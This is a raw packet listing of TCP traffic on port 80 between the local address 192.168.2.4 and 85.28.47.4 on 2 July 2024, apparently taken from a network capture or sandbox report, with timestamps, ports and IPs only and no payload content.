Jul 2, 2024 15:26:07.146384001 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.146394968 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.146406889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.146418095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.146435976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.146446943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.146451950 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.146485090 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.146507978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.146519899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.146538019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.146547079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.146552086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.146572113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.146599054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.146631002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.146642923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.146660089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.146671057 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.146692038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.146697998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.146708012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.146718979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.146728039 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.146739006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.146742105 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.146758080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.146760941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.146773100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.146780968 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.146792889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.146792889 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.146815062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.146816969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.146831036 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.146852970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.155328989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.155347109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.155373096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.155383110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.155390024 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.155405045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.155411005 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.155433893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.155445099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.155447960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.155463934 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.155473948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.155478954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.155497074 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.155517101 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.155524015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.155563116 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.155570984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.155591965 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.155607939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.155620098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.155637980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.155649900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.155667067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.155694008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.155719042 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.156332970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.156372070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.156382084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.156384945 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.156402111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.156404018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.156418085 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.156434059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.156440020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.156454086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.156469107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.156478882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.156491041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.156495094 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.156502962 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.156527996 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.156537056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.156582117 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.156610966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.156621933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.156651020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.156677008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.156687975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.156706095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.156714916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.156716108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.156733990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.156742096 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.156765938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.156786919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.156797886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.156814098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.156824112 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.156848907 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.156915903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.156927109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.156944036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.156953096 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.156955004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.156982899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.156999111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.157156944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.157167912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.157185078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.157193899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.157196045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.157213926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.157216072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.157229900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.157243967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.157246113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.157257080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.157273054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.157284021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.157285929 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.157301903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.157310009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.157314062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.157332897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.157337904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.157350063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.157357931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.157372952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.157382965 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.157383919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.157397032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.157427073 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.157437086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.157480001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.157490969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.157516003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.157526016 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.157617092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.157628059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.157646894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.157655001 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.157663107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.157672882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.157680988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.157685041 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.157699108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.157701969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.157711029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.157718897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.157731056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.157736063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.157743931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.157761097 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.158163071 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.158193111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.158200979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.158205986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.158226013 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.158237934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.158278942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.158291101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.158308029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.158314943 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.158323050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.158327103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.158344030 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.158356905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.158405066 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.158416986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.158428907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.158448935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.158453941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.158462048 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.158471107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.158482075 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.158490896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.158499956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.158507109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.158509970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.158524990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.158529043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.158540010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.158541918 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.158560038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.158562899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.158571959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.158576965 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.158596039 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.158606052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.158613920 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.158617973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.158636093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.158639908 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.158647060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.158655882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.158669949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.158673048 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.158682108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.158688068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.158699036 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.158703089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.158715010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.158737898 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.196971893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.197016954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.197031975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.197058916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.197068930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.197084904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.197082996 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.197103977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.197127104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.197129965 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.197129965 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.197145939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.197170019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.239080906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.239114046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.239132881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.239156008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.239166975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.239187002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.239200115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.239231110 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.239269972 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.239286900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.239299059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.239317894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.239326954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.239329100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.239348888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.239356041 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.239360094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.239379883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.239382982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.239404917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.239407063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.239422083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.239423990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.239439964 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.239442110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.239454985 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.239461899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.239471912 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.239494085 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.239566088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.239577055 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.239594936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.239612103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.239634991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.244937897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.244950056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.244971037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.244991064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.245001078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.245018005 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.245018005 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.245057106 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.245073080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.245084047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.245106936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.245109081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.245122910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.245130062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.245140076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.245145082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.245162964 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.245167017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.245178938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.245181084 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.245194912 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.245199919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.245213032 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.245223045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.245228052 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.245260954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.245985985 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.245995998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.246015072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.246045113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.246054888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.246073961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.246088982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.246179104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.246191025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.246208906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.246218920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.246222019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.246248007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.246330976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.246360064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.246370077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.246371984 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.246388912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.246395111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.246401072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.246409893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.246422052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.246424913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.246438026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.246454954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.246714115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.246735096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.246751070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.246766090 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.246788979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.246788979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.246812105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.246823072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.246840954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.246845961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.246853113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.246862888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.246876955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.246890068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.246949911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.246961117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.246978045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.246988058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.246989965 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247006893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247011900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247025013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247033119 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247037888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247050047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247060061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247062922 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247076988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247082949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247097015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247098923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247116089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247129917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247184992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247195959 CEST	80	49730	85.28.47.4	192.168.2.4
